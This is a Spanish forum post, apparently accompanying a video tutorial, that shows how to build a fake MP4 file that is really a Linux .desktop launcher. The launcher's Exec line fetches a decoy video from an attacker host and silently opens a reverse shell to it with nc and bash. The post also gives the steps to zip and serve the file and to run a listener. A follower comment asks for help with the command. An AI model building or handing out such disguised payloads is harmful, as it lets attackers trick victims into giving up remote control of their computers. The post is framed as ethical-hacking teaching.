Hackers usan Archivo MP4 para Acceder a tu PC | Seguridad Informática

[admin]

Obtener una conexión remota a través de un Archivo de Vídeo Falso Falso con Kali Linu. Con un archivo de vídeo te pueden hackear


LABORATORIO (Un equipo Windows, Kali Linux y una Distribución Linux Mint)





COMANDOS EJECUTADOS

Instalar Python

Código: Seleccionar todo

apt-get update && apt-get install python3

Crear Archivo fake de Vídeo

Código: Seleccionar todo

nano fake_video.desktop

CODIGO que va DENTRO del Archivo

Código: Seleccionar todo

[Desktop Entry]
Encoding=UTF-8
Name=fake_video.mp4
Exec=/usr/bin/wget 'http://192.168.1.183/real_video.mp4' -O /tmp/real_video.mp4; /usr/bin/xdg-open /tmp/real_video.mp4; /usr/bin/mkfifo /tmp/f; /bin/nc 192.168.1.183 1234 < /tmp/f | /bin/bash -i > /tmp/f 2>&1 &
Terminal=false
Type=Application
Icon=video-x-generic

CAMBIAR PERMISOS

Código: Seleccionar todo

chmod +x fake_video.desktop

Copiar Archivos a la Carpeta /tmp

Código: Seleccionar todo

cp fake_video.desktop real_video.mp4 /tmp

CREAR ARCHIVO ZIP COMPRIMIDO

Código: Seleccionar todo

zip -r videos.zip ../archivos

LEVANTAR SERVICIO WEB HTTP de Python

Código: Seleccionar todo

python3 -m http.server 80

LEVANTAR el SERVICIO LISTENER

Código: Seleccionar todo

nc -vv -l -p 1234

VIDEO TUTORIAL




Comandos Extras
 

Código: Seleccionar todo

uname -a
ifconfig
hostnamectl

conexion shell,cursos,courses,training,How to Pop a Shell Using a Video,Create a Reverse Shell,conexion inversa,cyber seguridad,cyber security,python,how to,ethical hacker,ethical hacking,ubuntu,linux,mint,unix,educational purposes,guia,guide,linux for ethical,Information Systems Security,nas,xpenology,synology,file manager,GNOME,Cinnamon,MATE,KDE,XFCE4,debian,issue,bug,error

[Maicol]

me pueden ayudar en esta parte por favor 2>&1 & Gracias.